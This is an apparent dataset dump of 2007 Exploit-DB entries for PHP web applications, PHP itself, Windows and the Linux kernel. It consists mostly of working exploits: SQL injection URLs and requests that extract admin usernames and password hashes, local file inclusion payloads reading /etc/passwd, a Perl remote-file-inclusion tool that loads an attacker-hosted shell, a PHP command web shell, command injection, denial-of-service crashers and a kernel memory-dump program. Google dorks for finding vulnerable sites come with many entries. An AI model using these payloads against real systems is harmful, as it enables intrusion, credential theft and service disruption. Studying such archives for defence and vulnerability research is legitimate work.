QLWD/code_shield huggingface dataset:
标题: paFileDB 3.6 - 'search.php' SQL Injection EDB-ID: 4186 CVE: 2007-3808 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-14 漏洞利用脚本: Site: http://www.phparena.net/pafiledb
Description: SQL injection (categories) in includes/search.php
Code: $results = $db->GetArray("SELECT * FROM ".$dbPrefix."files WHERE (".$searchin.") AND file_catid IN (".implode(',',$_POST['categories']).")");

Comment:"ouuch"

SQL: ) UNION SELECT ALL null,user_username,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM (pafiledb_users

POC:
host="www.example.com"; echo -e "POST
http://$host/index.php?act=search&process HTTP/1.1\nHost:
$host\nContent-Length:
302\n\nquery=test&search_in[]=file_name&search_in[]=file_desc&search_in[]=file_longdesc&search_in[]=file_creator&search_in[]=file_version&categories[]=1)
UNION SELECT ALL
null,user_username,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
FROM (pafiledb_users"| netcat $host 80

Vendor: was informed, but did not response yet...
credits: h4si & pUm

# milw0rm.com [2007-07-14] URL: https://www.exploit-db.com/exploits/4186
标题: eSyndiCat Directory Software - Multiple SQL Injections EDB-ID: 4183 CVE: 2007-3811 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-14 漏洞利用脚本: [~] eSyndiCat: Multiple SQL Injection's
[~] 
[~] http://www.esyndicat.net/
[~] ----------------------------------------------------------
[~] Exploit coded and founded by d3v1l
[~] 
[~] Date: 14.07.2007
[~]
[~]
[~] stylers1@hotmail.it
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]  
[~] Security-Shell Members ( http://forum.security-shell.com )
[~]  
[~] Pentest | Gibon | Nocta | dr4g0n | deadfuneral | and str0ke
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/news.php?id=-1%27%20union%20select%201,username,password,4,5%20from%20dir_admins/*
[~]    
[~] http://site.com/page.php?name=-1%27%20union%20select%200,0,0,0,0,0,0,0,0/* 
[~] 
[~]
[~]---------------------------------------------------------------------------------------------------------------
[~] Google Dork: Â© 2005-2006 Powered by eSyndiCat Directory Software   

# milw0rm.com [2007-07-14] URL: https://www.exploit-db.com/exploits/4183
标题: MKPortal NoBoard Module (Beta) - Remote File Inclusion EDB-ID: 4180 CVE: 2007-3813 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-14 漏洞利用脚本: ###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#Program Title ################################################################################
#MKPortal NoBoard (BETA)
#
#Script Download ##############################################################################
#http://www.mkportal.it/index.php?ind=downloads&op=entry_view&iden=804
#
#d0rk #########################################################################################
#"MK noboard"
#
#Spl0it #######################################################################################
#http://[ site ]/mkportal/include/user.php?MK_PATH=[ shell ]?
#
#vuln discovered by ###########################################################################
#FiSh
#
#shoutz: MurderSkillz, z3r0, milf, godXcel, clorox, katalyst, SyNiCaL, OD, pr0be, str0ke,
#sCuZz, canuck, Vipsta, c0ma, grumpy, SiCk, trintitty, 13337.org, a59, fury,
#<S>, Bernard, and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-07-14] URL: https://www.exploit-db.com/exploits/4180
标题: Symantec AntiVirus - 'symtdi.sys' Local Privilege Escalation EDB-ID: 4178 CVE: 2007-3673 类型: LOCAL 平台: WINDOWS 发布日期: 2007-07-12 漏洞利用脚本: Symantec AntiVirus symtdi.sys Local Privilege Escalation

Author:   Zohiartze Herce
Site:     http://48bits.com

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4178.rar (07122007-symTDI_advisory.rar)

# milw0rm.com [2007-07-12] URL: https://www.exploit-db.com/exploits/4178
标题: PHP 5.2.3 - 'glob()' Denial of Service EDB-ID: 4181 CVE: 2007-3806 类型: DOS 平台: MULTIPLE 发布日期: 2007-07-14 漏洞利用脚本: <?php
//PHP 5.2.3 glob() Remote DoS Exploit
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp sp2, worked both from the cli (EIP overwrite) and on apache (Denial of Service)

//Bug discovered with "Footzo" (thanks to rgod).

//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//as you know, glob function expects an integer value passed to "[int $flags] " parameter
//so when you give it something not integer (like -1) a funny thing happens:
//I never seen something like that, EIP is overwrite with 4 bytes of filename :D
//if you save aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb.php under C:\ and launch it
//registers content will appear as follow:

//EAX 00C0F8EC
//ECX 00C0E9FC ASCII "C:\\aaaa"
//EDX 00C0EC1C
//EBX 00C0EC64 UNICODE "C:\\aaaa"
//ESP 00C0E9F0
//EBP 00000000
//ESI 00C0F8EC
//EDI 00C0EC74
//EIP 62626262

//any idea? put shellcode in filename :D

glob("a",-1);
?>

# milw0rm.com [2007-07-14] URL: https://www.exploit-db.com/exploits/4181
标题: CMScout 1.23 - 'index.php' SQL Injection EDB-ID: 4182 CVE: 2007-3812 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-14 漏洞利用脚本: ###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#Program Title ################################################################################
#CMScout <= 1.23 SQL Injection
#
#Script Download ##############################################################################
#http://www.cmscout.za.net/index.php?page=downloads&id=45&action=down&catid=1
#
#d0rk #########################################################################################
#"Powered by CMScout"
#
#Spl0it #######################################################################################
#http://[ site ]/index.php?page=forums&f=1/**/union/**/all/**/select/**/0,uname,passwd,2,3,4,5,6,7,8/**/from/**/cms_authuser/*
#
#vuln discovered by ###########################################################################
#FiSh
#
#shoutz: MurderSkillz, z3r0, milf, godXcel, clorox, katalyst, SyNiCaL, OD, pr0be, str0ke,
#sCuZz, canuck, Vipsta, c0ma, grumpy, SiCk, trintitty, 13337.org, a59, fury,
#<S>, Bernard, and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-07-14] URL: https://www.exploit-db.com/exploits/4182
标题: SquirrelMail G/PGP Encryption Plugin 2.0 - Command Execution EDB-ID: 4173 CVE: 2005-1924 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-11 漏洞利用脚本: SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability

Bugtraq ID: 24782

-----------------------------

There are various vulnerabilities in this software! One is in
keyring_main.php!
$fpr is not escaped from shellcommands!

testbox:/home/w00t# cat /tmp/w00t
cat: /tmp/w00t: No such file or directory
testbox:/home/w00t#

***@silverlaptop:~$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

id=C5B1611B8E71C***&fpr= | touch /tmp/w00t |
&pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1

...

testbox:/home/w00t# cat /tmp/w00t
testbox:/home/w00t#

So we just executed 'touch /tmp/w00t'!

WabiSabiLabi tries to sell the exploit for 700 Euro! ;)
lol @ WabiSabiLabi!

Greets:

oli and all members of jmp-esp!


jmp-esp is looking for people who are interested in IT security!
Currently we are looking for people who like to write articles for a
German ezine or are interested in exchanging informations, exploits...

IRC: jmp-esp.kicks-ass.net / 6667 or 6661 (ssl)
    #main

# milw0rm.com [2007-07-11] URL: https://www.exploit-db.com/exploits/4173
标题: PsNews 1.1 - 'show.php?newspath' Local File Inclusion EDB-ID: 4174 CVE: 2007-3772 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-12 漏洞利用脚本: #                                      o      [bug]     /"*._         _        #
#                 .                     .    .      .-*'`    `*-.._.-'/        #
#                                   o       o     < * ))     ,       (         #
#                            .           o          `*-._`._(__.--*"`.\        #
#                                                                              #
# vuln.: PsNews 1.1 (show.php newspath) Local File Inclusion                   #
# author: irk4z@yahoo.pl                                                       #
# download:                                                                    #
#   http://www.strefaphp.net/index.php?page=download&what=download&fid=12      #
# dork: "Powered by PsNews" ;]                                                 #

/news/show.php:
...
 if(eregi("://", $newspath)){
  die("Nieautoryzowany dostÄ™p!");
 }
 if(!isset($newspath)){
  $newspath = "news";
 }
 include("$newspath/functions.php");
...

# exploit:

 http://[site]/[path]/news/show.php?newspath=/etc/passwd%00
 http://[site]/[path]/news/show.php?newspath=[file]%00


# greetz: cOndemned, DooMRiderZ vx team (great zin :D), polish underground :*

# milw0rm.com [2007-07-12] URL: https://www.exploit-db.com/exploits/4174
标题: Mail Machine 3.989 - Local File Inclusion EDB-ID: 4171 CVE: 2007-3702 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-10 漏洞利用脚本: #!/usr/bin/perl -w

#__________________________________________________________________________

# [*] Mail Machine Local File Include Exploit
# [*] Vuln. v3.980, v3.985, v3.987, v3.988 and v3.989
# __________________________________________________________________________

# [!] Application homepage :   http://www.mikesworld.net/mailmachine.shtml
# [!] Author               :   H4 / Team XPK
# [!] Contact              :   H4_XPK@hotmail.com

# ---------------------------------------------------------------------

# Vuln. code:

# In mailmachine.cgi sub load { ...

# open() function is not properly sanitized against user supplied input

# ---------------------------------------------------------------------

# [!] This information got leaked long time ago, therefore we think that
#     everyone should have this information :)

# [!] Greetz to Angeldust & Narcotics and Streets and to rest of community.

use strict;
use IO::Socket;

if(@ARGV<1) { &Usage; exit(0); }

my $host = 'h4x0red.com';
my $port = 80;
my $path = '/cgi-bin/mail/mailmachine.cgi';
my $file = "$ARGV[0]";

sub Header()
{
 print "*=====================================================================*\n";
 print "    ----------------------------------------------------------------\n";
 print "                  Mail Machine File Disclosure Exploit\n";
 print "    ----------------------------------------------------------------\n";
 print "*=====================================================================*\n";
 print "                             Coded by H4\n\n";
}

Header();

print "[*] Attacking $host ..\n\n";

my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp' ) || die "[!] Unable to connect to $host\n";
my $post = "action=Load&archives=../../../../../../../../..$file%00";

my $send = "POST $path HTTP/1.1\r\n";
$send .= "Host: $host\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\r\n";
$send .= "Accept: text/html\r\n";
$send .= "Connection: Keep-Alive\r\n";
$send .= "Content-type: application/x-www-form-urlencoded\r\n";
$send .= "Content-length: ".length($post)."\r\n\r\n";
$send .= "$post\r\n\r\n";

print $sock $send;

while ( my $line = <$sock> ) {
print "$line";
}

close($sock);

sub Usage()
 {
  Header();
  print "Usage : mailmachine3.pl filename\n";
  print "------> mailmachine3.pl /etc/passwd\n";
  print "Do not forget edit host/path/port..\n";
}

# milw0rm.com [2007-07-10] URL: https://www.exploit-db.com/exploits/4171
标题: PHP 5.2.3 - 'bz2 com_print_typeinfo()' Denial of Service EDB-ID: 4175 CVE: 2007-3790 类型: DOS 平台: MULTIPLE 发布日期: 2007-07-12 漏洞利用脚本: <?php
//PHP 5.2.3 bz2 com_print_typeinfo() Remote DoS Exploit
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp sp2, worked both from the cli and on apache

//Bug discovered with "Footzo" (thanks to rgod).
//
//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

if (!extension_loaded("bz2")){die("you need bz2 extension loaded!");}

$buff = str_repeat("a",1000);

com_print_typeinfo($buff);

?>

# milw0rm.com [2007-07-12] URL: https://www.exploit-db.com/exploits/4175
标题: FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion EDB-ID: 4169 CVE: 2007-3697 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-10 漏洞利用脚本: #!/usr/bin/perl
#
# Flashbb <= 1.1.7 - Remote File Inclusion Exploit
#
# Url: http://rapidshare.com/files/41426468/FlashBB_AaeDueHFcu.zip
#
# Exploit:
# http://site.com/[path]/phpbb/sendmsg.php?phpbb_root_path=[Evil_Script>:]
#
# (c)oded and f0und3d by kw3rln <office[at]rosecuritygroup[dot]net>
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
#
#
# greetz to all RST [rstzone.net] MEMBERZ

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".  .\n";
print ".        Flashbb <= 1.1.7 - Remote File Inclusion Exploit .\n";
print ".  .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET .\n";
print ".       [c]oded by Kw3rLN - office@rosecuritygroup.net .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/phpbb/sendmsg.php";


sub usage(){
      print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
      print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
      print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
         }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?phpbb_root_path=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($kw3); print $data ; }
}

# milw0rm.com [2007-07-10] URL: https://www.exploit-db.com/exploits/4169
标题: SecureBlackbox 'PGPBBox.dll 5.1.0.112' - Arbitrary Data Write EDB-ID: 4176 CVE: 2007-3785 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-12 漏洞利用脚本: :. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

PGPBBox.dll 5.1.0.112 SecureBlackbox Arbitary Data Write Exploit.
================================================================

Test in patched XP SP2 IE 6.0/7.0 and Vista IE 7.0
==================================================

Internal ID: VULWAR200707121.

Introduction
------------
PGPBBox.dll is a library included in the SecureBlackbox
software package from the Eldos Company http://www.eldos.com/

Tested In
---------
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0

Summary
-------
The SaveToFile method doesn't check if it's is being called from the application, 
or malicious users. Remote Attacker could craft a html page and write arbitrary
data.

Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.

Workaround
----------
- Activate the Kill bit zero in clsid: C22BB435-9B7F-4B1F-ACBD-CD36D34D6DFF.
- Unregister PGPBBox.dll using regsvr32.


Timeline
--------
July 12, 2007 -- Bug discovery.
July 12, 2007 -- Bug published.


Credits
-------
 * callAX <callax@shellcode.com.ar
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>



Technical Details
-----------------

SaveToFile method receives one argument filename in this format "c:\path\file".


Proof of Concept
----------------

<HTML>
<BODY>
  <object id=ctrl classid="clsid:{C22BB435-9B7F-4B1F-ACBD-CD36D34D6DFF}"></object>
                           
<SCRIPT>

function Poc()
 {
    arg2="c:\\arbitrary_file.txt"
    ctrl.SaveToFile(arg2)
 }

</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-12] URL: https://www.exploit-db.com/exploits/4176
标题: Linux Kernel < 2.6.20.2 - 'IPv6_Getsockopt_Sticky' Memory Leak EDB-ID: 4172 CVE: 2007-1000 类型: LOCAL 平台: LINUX 发布日期: 2007-07-10 漏洞利用脚本: /*
 * Linux Kernel IPV6_Getsockopt_Sticky Memory Leak  Proof Of Concept
 * dreyer 07-2007
 * Osu, Tatakae, Sexy Pandas!
 *
 *  Dumps to stdout the memory mapped between INI and END.
 *
 * CVE: CVE-2007-1000  BID: 22904
 *
 *  Affected: Linux Kernel < 2.6.20.2
 *
 * http://bugzilla.kernel.org/show_bug.cgi?id=8134
 *
 * Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html
 *
 * For free!!! ( worth 600 EUR in zerobay! )
 *
 */


#include <sys/mman.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define HOPOPT_OFFSET 8
#define INIADDR 0xc0100000
#define ENDADDR  0xd0000000
unsigned int i;


int main(int argc, char *argv[]) {
  int s;
  unsigned int optlen;
  void *ptr;
  char value[10240];
  char text[12];

  fprintf(stderr,"Ipv6_getsockopt_sticky vuln POC\n"
                 "dreyer '07 - free feels better\n"
                 "Dumping %p - %p to stdout\n",INIADDR,ENDADDR);

  s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
  
  /* Make np->opt = NULL = 0x00000000  through IPV6_2292PKTOPTIONS */
  setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0);

  /* Make 0x00000000 address valid */
  ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

  if (ptr != NULL) {
      perror("mmap");
      exit(-1);
  }

  memset(ptr,0,4096);

  /* Make ptr point to np->opt->hopopt =  (0x00000000)->hopopt = 
   * 0x00000000 + 8 */
  ptr=(char *)((char *)ptr+HOPOPT_OFFSET);

  i=INIADDR;
  while(i<ENDADDR) {
      /* Put in hopopt the address we want to read */
      *((int *)ptr)=i;
      optlen=10240;
      /* Get the chunk pointed by hopopt through getsockopt IPV6_DSTOPTS */
      getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen);
      if(optlen>0) {
          sprintf(text,"\n%08x:",i);
          write(1,text,strlen(text));
          write(1,value,optlen);
          i=i+optlen;
      } else {
          /* We could not read this portion because of some error, skip it */
          i=i+4;
      }
  }

  return 0;
}

// milw0rm.com [2007-07-10] URL: https://www.exploit-db.com/exploits/4172
标题: OpenLD 1.2.2 - 'index.php?id' SQL Injection EDB-ID: 4167 CVE: 2007-3682 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-10 漏洞利用脚本: --==+================================================================================+==--
--==+                       OpenLD  <= 1.2.2 SQL Injection Exploit                   +==--
--==+================================================================================+==--
DISCOVERED BY: Cody "CypherXero" Rester
PAYLOAD: Admin username and MD5 Hash
WEBSITE: http://www.cypherxero.net

Shoutouts to my friends darkfusion and magikgrl for being fucking awesome. w0rd.
--==+================================================================================+==--

NOTES:

The table names may have an extension that is unique to the website. The standard table name
is "settings", but may be "openld_settngs" or possibly the name of the site.

DORK:

"Powered by OpenLD"

EXPLOITS:

http://www.website.com/index.php?id=999/**/UNION/**/SELECT/**/ALL/**/null,null,null,null,null,value,null,null,null,null,null,null,null,null/**/FROM/**/settings--

# milw0rm.com [2007-07-10] URL: https://www.exploit-db.com/exploits/4167
标题: vBulletin Mod RPG Inferno 2.4 - 'inferno.php' SQL Injection EDB-ID: 4166 CVE: 2007-3687 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-10 漏洞利用脚本: --==+================================================================================+==--
--==+                   RPG Inferno v2.4 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://infernotechnologies.net/
DORK: intext:"RPG Inferno is not available to guests" or intext:"Battle Ground Â· Clans Â· Store Â· Jobs Â· Auction Â· Spells Shop Â· Statistics Â· Member List"


DESCRIPTION: SQL Injection in ID of inferno.php a mod for vBulletin, able to retrieve admin hash/salt.

EXPLOIT: 
http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(username,0x3a,password,0x3a,salt),31,@@version,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*

NOTE: You'll need to be logged into the forum to access inferno.php. Increment the
limit to get the next admin (ie: [limit 0,1] [limit 1,1] [limit 2,1] etc).


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                   RPG Inferno v2.4 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-10] URL: https://www.exploit-db.com/exploits/4166
标题: Aigaion 1.3.3 - 'topic topic_id' SQL Injection EDB-ID: 4164 CVE: 2007-3683 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-09 漏洞利用脚本: --==+================================================================================+==--
--==+                       Aigaion <= 1.3.3 SQL Injection Exploit                   +==--
--==+================================================================================+==--
DISCOVERED BY: Cody "CypherXero" Rester
PAYLOAD: Admin username and MD5 Hash
WEBSITE: http://www.cypherxero.net

Shoutouts to my friends darkfusion and magikgrl for being fucking awesome. w0rd.
--==+================================================================================+==--

EXPLOITS:

http://www.website.com/index.php?page=topic&topic_id=9999/**/UNION/**/SELECT/**/ALL/**/null,null,CONCAT(login,CHAR(58),password),null/**/FROM/**/person/**/WHERE/**/ID=1--
http://www.website.com/index.php?page=topic&topic_id=9999/**/UNION/**/SELECT/**/ALL/**/null,null,password,null/**/FROM/**/person--

# milw0rm.com [2007-07-09] URL: https://www.exploit-db.com/exploits/4164